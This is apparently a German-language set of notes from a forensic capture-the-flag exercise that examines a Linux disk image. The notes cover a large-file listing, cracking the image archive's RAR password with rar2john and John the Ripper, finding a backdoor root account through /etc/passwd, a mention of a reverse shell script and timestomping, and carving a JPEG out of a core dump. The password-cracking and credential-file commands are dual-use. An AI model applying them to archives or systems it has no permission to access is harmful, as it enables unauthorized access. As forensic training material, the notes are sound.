./var/lib/snapd/cache/f2b3265e9914a116aa3797f3a99e6755ca628774d86b8be080f005d90d46a8a95e217ba6992778d8f7
5f66da258d5797
107077632 25. Apr 10:54
./var/lib/snapd/cache/e4f0bbc3442c0042fe1611226f359e0afcb6f8fb9d658c9f6d99063abc81c6bdc71eb78cb2d6bc0f7dc
6fb4a2ac37402
96728224 12. Mär 23:58 ./usr/lib/firefox/libxul.so
91815856 16. Apr 17:03 ./usr/lib/thunderbird/libxul.so
90759168 24. Apr 17:14 ./var/lib/snapd/snaps/core_4486.snap
90759168 24. Apr 17:14
./var/lib/snapd/cache/3e65893cdaaa46e810044c2e70308288fa569fdedaf075f0ea4677b58ded45e71fcbf756275e66e065c
4ee1234dd3efc
86011904  4. Apr 07:19 ./var/lib/snapd/snaps/core_4327.snap
86011904  4. Apr 07:19 ./var/lib/snapd/seed/snaps/core_4327.snap
66126136 10. Apr 13:23 ./usr/lib/libreoffice/program/libmergedlo.so
61080848 12. Mär 09:12 ./usr/lib/x86_64-linux-gnu/libLLVM-6.0.so.1
55715853 24. Apr 10:56 ./boot/initrd.img-4.15.0-13-generic
50762470 27. Apr 00:52 ./var/lib/apt/lists/ru.archive.ubuntu.com_ubuntu_dists_bionic_universe_binary-
amd64_Packages
50455280 27. Apr 00:52 ./var/lib/apt/lists/ru.archive.ubuntu.com_ubuntu_dists_bionic_universe_binary-i386_Packages
48157511  8. Aug 2025  ./var/cache/apt/pkgcache.bin
47929343  8. Aug 2025  ./var/cache/apt/srcpkgcache.bin

awk '{ print $5}' /tmp/xxx1.txt >>/tmp/xxx2.txt
```

Image Passwort

Willhelm

```
rar2john SLAC_ForImage.dd.rar >> rar.hashes
time john --wordlist=pwlist.txt --rules rar.hashes
Loaded 1 password hash (RAR3 SHA-1 AES [32/64])

Willhelm        (SLAC_ForImage.dd.rar)
guesses: 1  time: 0:00:51:26 DONE (Mon May 14 22:11:22 2018)  c/s: 206  trying: Willenborg - Willoughby
Use the "--show" option to display all of the cracked passwords reliably

real    51m26.067s
user    306m13.019s
sys     0m2.410s
```

Kompromittierte Benutzer

august

Trash-Hello **augustus**=0A=0APlease break into Claps Computer and get all the data. =
Trash-This is a direct order of clap.=0A=0ARegards Lilith=0A=0A=0A=0A=0A=0A----=
Trash-=0ASent using Guerrillamail.com=0ABlock or report abuse: https://www.guerri=
Trash-
llamail.com//abuse/?a=3DQk0gFUMUU%2FoGhl7koC5PIkSWbc2d095ciadNcQ%3D%3D=0A

Trash-

Finde das Script fuer die Reverse Shell

.openExtractPoint

cat etc/passwd | grep -i august
august:x:0:0::/var/tmp/:/bin/sh
cd var/tmp/
ls
ls -la
total 16
drwxrwxrwt 2 root root 4096 May 4 15:02 .
drwxr-xr-x 14 root root 4096 Apr 4 05:18 ..
-rw------- 1 root root   64 Apr 26 12:11 .bash_history
-rw-r--r-- 1 root root   51 May 1 11:29 .openExtractPoint

Manipulation mit Einfluss auf die Zeit

Timestomp

Siehe Präsentation

Wo befindet sich der Beweis

/home/cl4-tp/.coredump.220531

mkdir /tmp/SLAC2018
find . -printf '%s %p\n'| sort -nr | head -10 | cut -d' ' -f 2- >> /tmp/xxx20.txt
scalpel -i /tmp/xxx20.txt -o /tmp/SLAC2018/ >> /tmp/scalpelmsg.txt
.
.
.
cd ../jpg-2-0/
xv 00000000.jpg
exiftool 00000000.jpg --> Comment : As agr33d – Price

Kommentar: Das File 00000000.jpg ist aus dem Coredump extrahiert worden. Referenz im File xxx20.txt und /tmp/scalpelmsg.txt